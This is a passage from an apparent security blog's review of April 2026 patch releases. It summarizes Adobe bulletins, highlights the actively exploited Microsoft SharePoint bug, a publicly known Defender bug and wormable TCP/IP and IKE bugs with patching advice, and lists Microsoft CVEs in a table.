    <td>Critical</td>
    <td>9.3</td>
    <td>No</td>
    <td>1</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/bridge/apsb26-39.html" target="_blank">APSB26-39</a></td>
    <td>Adobe Bridge</td>
    <td>6</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/photoshop/apsb26-40.html" target="_blank">APSB26-40</a></td>
    <td>Adobe Photoshop</td>
    <td>1</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/illustrator/apsb26-42.html" target="_blank">APSB26-42</a></td>
    <td>Adobe Illustrator</td>
    <td>1</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/aem-screens/apsb26-34.html" target="_blank">APSB26-34</a></td>
    <td>Adobe Experience Manager Screens</td>
    <td>9</td>
    <td>Important</td>
    <td>5.4</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/dng-sdk/apsb26-41.html" target="_blank">APSB26-41</a></td>
    <td>Adobe DNG SDK</td>
    <td>3</td>
    <td>Important</td>
    <td>5.5</td>
    <td>No</td>
    <td>3</td>
  </tr>
</tbody>
</table>



  
  









  <p class="">Obviously, the active attack in Reader is the highest priority for this month, but don’t ignore the second bunch of Reader patches. Cold Fusion also gets a deployment priority of 1, so if you’re still running that platform, make sure you get the update. Otherwise, the FrameMaker and Connect patches fix 11 and nine bugs, respectively. InDesign and Experience Manager Screens also have nine CVEs addressed. </p><p class="">Outside of the Reader bug, none of the other bugs fixed by Adobe this month are listed as publicly known or under active attack at the time of release. One of the Reader bugs and Cold Fusion have a deployment priority of one, the other Reader bug has a priority of two, while all of the other updates released by Adobe this month are listed as deployment priority 3.</p><p class=""><strong>Microsoft Patches for April 2026</strong></p><p class="">This month, Microsoft released a monstrous 163 new CVEs in Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, .NET and Visual Studio, SQL Server, Hyper-V Server, BitLocker, and the Windows Wallet Service. Counting the third-party and a huge Chromium release, it brings the total number of CVEs to a staggering 247 updates. Six of these bugs were reported through the TrendAI ZDI program. Eight of these bugs are rated Critical, two are rated as Moderate, and the rest are rated Important in severity.</p><p class="">By my count, this is the second-largest monthly release in Microsoft’s history. There are many things we could speculate on to justify the size, but if Microsoft is like the other programs out there (including ours), they are likely seeing a rise in submissions found by AI tools. For us, our incoming rate has essentially tripled, making triage a challenge, to say the least. Whatever the reason, we have a lot of bugs to deal with this month. I should also point out that the Pwn2Own Berlin occurs next month, and it’s typical for vendors to patch as much as they can before the event.</p><p class="">There is one Microsoft bug listed as under active attack at the time of release, and one other that’s publicly known. Let’s take a closer look at some of the more interesting updates for this month, starting with the vulnerability being exploited in the wild:</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32201" target="_blank"><strong>CVE-2026-32201</strong></a><strong> - Microsoft SharePoint Server Spoofing Vulnerability<br></strong>Microsoft doesn’t provide a lot of information about this bug, but Spoofing bugs in SharePoint often manifest as cross-site scripting (XSS) bugs. They do note that attackers could view information or make changes to disclosed information. As always, they don’t provide any information on how widespread these attacks are, but I wouldn’t wait to test and deploy this fix – especially if you have internet-connected SharePoint servers.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33825" target="_blank"><strong>CVE-2026-33825</strong></a><strong> - Microsoft Defender Elevation of Privilege Vulnerability<br></strong>This bug is listed as publicly known, and this time, we know exactly <a href="https://deadeclipse666.blogspot.com/2026/04/public-disclosure.html" target="_blank">where</a> it was disclosed. There have been some questions about how exploitable this bug may be, but it does look like it’s a real problem – just with some reliability issues in its current state. I won’t add on to the commentary from the researcher about working with Microsoft. I’m just glad they are offering a fix for the vulnerability. If you rely on Defender, test and deploy this one quickly.</p><p class="">-   <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33827" target="_blank"><strong>CVE-2026-33827</strong></a><strong> - Windows TCP/IP Remote Code Execution Vulnerability<br></strong>This vulnerability allows remote, unauthenticated attackers to exploit code on affected systems without user interaction. That adds up to a wormable bug – at least on systems with IPv6 and IPSec enabled. It is a race condition, which sets exploitability to High on the CVSS scale, but we see race conditions exploited at Pwn2Own all the time, so don’t rely on that obstacle. If you’re running IPv6, I would test and deploy this fix quickly before public exploits become available.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33824" target="_blank"><strong>CVE-2026-33824</strong></a><strong> - Windows Internet Key Exchange (IKE) Service Extensions Remote Code Execution Vulnerability<br></strong>Speaking of wormable bugs, here’s our second one this month. By the title, we can tell that systems with IKE enabled are affected, but that leaves plenty of targets for attackers. Microsoft also notes a significant mitigation for this bug. Blocking UDP ports 500 and 4500 at the perimeter prevents external attackers from reaching the affected service. However, insiders could still target this for lateral movement within an enterprise. For enterprises using IKE, get this fix tested and deployed with haste.</p><p class="">Here’s the full list of CVEs released by Microsoft for April 2026:</p>





















  
  




  


  
    




<title>April 2026 Patch Tuesday</title>



<table>
<thead><tr>
  <th>CVE</th>
  <th>Title</th>
  <th>Severity</th>
  <th>CVSS</th>
  <th>Public</th>
  <th>Exploited</th>
  <th>Type</th>
</tr></thead>
<tbody>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32201">CVE-2026-32201</a></td>
  <td>Microsoft SharePoint Server Spoofing Vulnerability</td>
  <td>Important</td>
  <td>6.5</td>
  <td>No</td>
  <td>Yes</td>
  <td>Spoofing</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5281">CVE-2026-5281 *</a></td>
  <td>Chromium: CVE-2026-5281 Use after free in Dawn</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>Yes</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33825">CVE-2026-33825</a></td>
  <td>Microsoft Defender Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>Yes</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23666">CVE-2026-23666</a></td>
  <td>.NET Framework Denial of Service Vulnerability</td>
  <td>Critical</td>
  <td>7.5</td>
  <td>No</td>
  <td>No</td>
  <td>DoS</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32190">CVE-2026-32190</a></td>
  <td>Microsoft Office Remote Code Execution Vulnerability</td>
  <td>Critical</td>
  <td>8.4</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33114">CVE-2026-33114</a></td>
  <td>Microsoft Word Remote Code Execution Vulnerability</td>
  <td>Critical</td>
  <td>8.4</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33115">CVE-2026-33115</a></td>
  <td>Microsoft Word Remote Code Execution Vulnerability</td>
  <td>Critical</td>
  <td>8.4</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32157">CVE-2026-32157</a></td>
  <td>Remote Desktop Client Remote Code Execution Vulnerability</td>
  <td>Critical</td>
  <td>8.8</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33826">CVE-2026-33826</a></td>
  <td>Windows Active Directory Remote Code Execution Vulnerability</td>
  <td>Critical</td>
  <td>8</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33824">CVE-2026-33824</a></td>
  <td>Windows Internet Key Exchange (IKE) Service Extensions Remote Code Execution Vulnerability</td>
  <td>Critical</td>
  <td>9.8</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33827">CVE-2026-33827</a></td>
  <td>Windows TCP/IP Remote Code Execution Vulnerability</td>
  <td>Critical</td>
  <td>8.1</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26171">CVE-2026-26171</a></td>
  <td>.NET Denial of Service Vulnerability</td>
  <td>Important</td>
  <td>7.5</td>
  <td>No</td>
  <td>No</td>
  <td>DoS</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32226">CVE-2026-32226</a></td>
  <td>.NET Framework Denial of Service Vulnerability</td>
  <td>Important</td>
  <td>5.9</td>
  <td>No</td>
  <td>No</td>
  <td>DoS</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32178">CVE-2026-32178</a></td>
  <td>.NET Spoofing Vulnerability</td>
  <td>Important</td>
  <td>7.5</td>
  <td>No</td>
  <td>No</td>
  <td>Spoofing</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32203">CVE-2026-32203</a></td>
  <td>.NET and Visual Studio Denial of Service Vulnerability</td>
  <td>Important</td>
  <td>7.5</td>
  <td>No</td>
  <td>No</td>
  <td>DoS</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33116">CVE-2026-33116</a></td>
  <td>.NET, .NET Framework, and Visual Studio Denial of Service Vulnerability</td>
  <td>Important</td>
  <td>7.5</td>
  <td>No</td>
  <td>No</td>
  <td>DoS</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-20585">CVE-2023-20585 *</a></td>
  <td>AMD: CVE-2023-20585 IOMMU Write Buffer Vulnerability</td>
  <td>Important</td>
  <td>5.3</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32072">CVE-2026-32072</a></td>
  <td>Active Directory Spoofing Vulnerability</td>
  <td>Important</td>
  <td>6.2</td>
  <td>No</td>
  <td>No</td>
  <td>Spoofing</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25184">CVE-2026-25184</a></td>
  <td>Applocker Filter Driver (applockerfltr.sys) Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32171">CVE-2026-32171</a></td>
  <td>Azure Logic Apps Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>8.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32168">CVE-2026-32168</a></td>
  <td>Azure Monitor Agent Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32192">CVE-2026-32192</a></td>
  <td>Azure Monitor Agent Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32181">CVE-2026-32181</a></td>
  <td>Connected User Experiences and Telemetry Service Denial of Service Vulnerability</td>
  <td>Important</td>
  <td>5.5</td>
  <td>No</td>
  <td>No</td>
  <td>DoS</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27924">CVE-2026-27924</a></td>
  <td>Desktop Window Manager Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32152">CVE-2026-32152</a></td>
  <td>Desktop Window Manager Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32154">CVE-2026-32154</a></td>
  <td>Desktop Window Manager Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27923">CVE-2026-27923</a></td>
  <td>Desktop Window Manager Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32155">CVE-2026-32155</a></td>
  <td>Desktop Window Manager Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23653">CVE-2026-23653</a></td>
  <td>GitHub Copilot and Visual Studio Code Information Disclosure Vulnerability</td>
  <td>Important</td>
  <td>5.7</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32631">CVE-2026-23653 *</a></td>
  <td> GitHub: CVE-2026-32631 'git clone' from manipulated repositories can leak NTLM hashes </td>
  <td>Important</td>
  <td>7.4</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33096">CVE-2026-33096</a></td>
  <td>HTTP.sys Denial of Service Vulnerability</td>
  <td>Important</td>
  <td>7.5</td>
  <td>No</td>
  <td>No</td>
  <td>DoS</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25250">CVE-2026-25250 *</a></td>
  <td>MITRE: CVE-2026-25250 Secure Boot disable Eazy Fix</td>
  <td>Important</td>
  <td>6</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26181">CVE-2026-26181</a></td>
  <td>Microsoft Brokering File System Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32219">CVE-2026-32219</a></td>
  <td>Microsoft Brokering File System Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32091">CVE-2026-32091</a></td>
  <td>Microsoft Brokering File System Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>8.4</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26152">CVE-2026-26152</a></td>
  <td>Microsoft Cryptographic Services Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33103">CVE-2026-33103</a></td>
  <td>Microsoft Dynamics 365 (On-Premises) Information Disclosure Vulnerability</td>
  <td>Important</td>
  <td>5.5</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32188">CVE-2026-32188</a></td>
  <td>Microsoft Excel Information Disclosure Vulnerability</td>
  <td>Important</td>
  <td>7.1</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32189">CVE-2026-32189</a></td>
  <td>Microsoft Excel Remote Code Execution Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32197">CVE-2026-32197</a></td>
  <td>Microsoft Excel Remote Code Execution Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32198">CVE-2026-32198</a></td>
  <td>Microsoft Excel Remote Code Execution Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32199">CVE-2026-32199</a></td>
  <td>Microsoft Excel Remote Code Execution Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32184">CVE-2026-32184</a></td>
  <td>Microsoft High Performance Compute (HPC) Pack Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26155">CVE-2026-26155</a></td>
  <td>Microsoft Local Security Authority Subsystem Service Information Disclosure Vulnerability</td>
  <td>Important</td>
  <td>6.5</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27914">CVE-2026-27914</a></td>
  <td>Microsoft Management Console Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26149">CVE-2026-26149</a></td>
  <td>Microsoft Power Apps Security Feature Bypass</td>
  <td>Important</td>
  <td>9</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32200">CVE-2026-32200</a></td>
  <td>Microsoft PowerPoint Remote Code Execution Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26143">CVE-2026-26143</a></td>
  <td>Microsoft PowerShell Security Feature Bypass Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33120">CVE-2026-33120 †</a></td>
  <td>Microsoft SQL Server Remote Code Execution Vulnerability</td>
  <td>Important</td>
  <td>8.8</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-20945">CVE-2026-20945</a></td>
  <td>Microsoft SharePoint Server Spoofing Vulnerability</td>
  <td>Important</td>
  <td>4.6</td>
  <td>No</td>
  <td>No</td>
  <td>Spoofing</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33822">CVE-2026-33822</a></td>
  <td>Microsoft Word Information Disclosure Vulnerability</td>
  <td>Important</td>
  <td>6.1</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33095">CVE-2026-33095</a></td>
  <td>Microsoft Word Remote Code Execution Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23657">CVE-2026-23657</a></td>
  <td>Microsoft Word Remote Code Execution Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32081">CVE-2026-32081</a></td>
  <td>Package Catalog Information Disclosure Vulnerability</td>
  <td>Important</td>
  <td>5.5</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26170">CVE-2026-26170</a></td>
  <td>PowerShell Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26183">CVE-2026-26183</a></td>
  <td>Remote Access Management service/API (RPC server) Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26160">CVE-2026-26160</a></td>
  <td>Remote Desktop Licensing Service Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26159">CVE-2026-26159</a></td>
  <td>Remote Desktop Licensing Service Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26151">CVE-2026-26151</a></td>
  <td>Remote Desktop Spoofing Vulnerability</td>
  <td>Important</td>
  <td>7.1</td>
  <td>No</td>
  <td>No</td>
  <td>Spoofing</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32085">CVE-2026-32085</a></td>
  <td>Remote Procedure Call Information Disclosure Vulnerability</td>
  <td>Important</td>
  <td>5.5</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32167">CVE-2026-32167</a></td>
  <td>SQL Server Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>6.7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32176">CVE-2026-32176</a></td>
  <td>SQL Server Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>6.7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-0390">CVE-2026-0390</a></td>
  <td>UEFI Secure Boot Security Feature Bypass Vulnerability</td>
  <td>Important</td>
  <td>6.7</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32220">CVE-2026-32220</a></td>
  <td>UEFI Secure Boot Security Feature Bypass Vulnerability</td>
  <td>Important</td>
  <td>4.4</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32212">CVE-2026-32212</a></td>
  <td>Universal Plug and Play (upnp.dll) Information Disclosure Vulnerability</td>
  <td>Important</td>
  <td>5.5</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32214">CVE-2026-32214</a></td>
  <td>Universal Plug and Play (upnp.dll) Information Disclosure Vulnerability</td>
  <td>Important</td>
  <td>5.5</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32079">CVE-2026-32079</a></td>
  <td>Web Account Manager Information Disclosure Vulnerability</td>
  <td>Important</td>
  <td>5.5</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33104">CVE-2026-33104</a></td>
  <td>Win32k Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32196">CVE-2026-32196</a></td>
  <td>Windows Admin Center Spoofing Vulnerability</td>
  <td>Important</td>
  <td>6.1</td>
  <td>No</td>
  <td>No</td>
  <td>Spoofing</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26178">CVE-2026-26178</a></td>
  <td>Windows Advanced Rasterization Platform Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>8.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32073">CVE-2026-32073</a></td>
  <td>Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26168">CVE-2026-26168</a></td>
  <td>Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26173">CVE-2026-26173</a></td>
  <td>Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26177">CVE-2026-26177</a></td>
  <td>Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26182">CVE-2026-26182</a></td>
  <td>Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27922">CVE-2026-27922</a></td>
  <td>Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33099">CVE-2026-33099</a></td>
  <td>Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33100">CVE-2026-33100</a></td>
  <td>Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32088">CVE-2026-32088</a></td>
  <td>Windows Biometric Service Security Feature Bypass Vulnerability</td>
  <td>Important</td>
  <td>6.1</td>
  <td>No</td>
  <td>No</td>
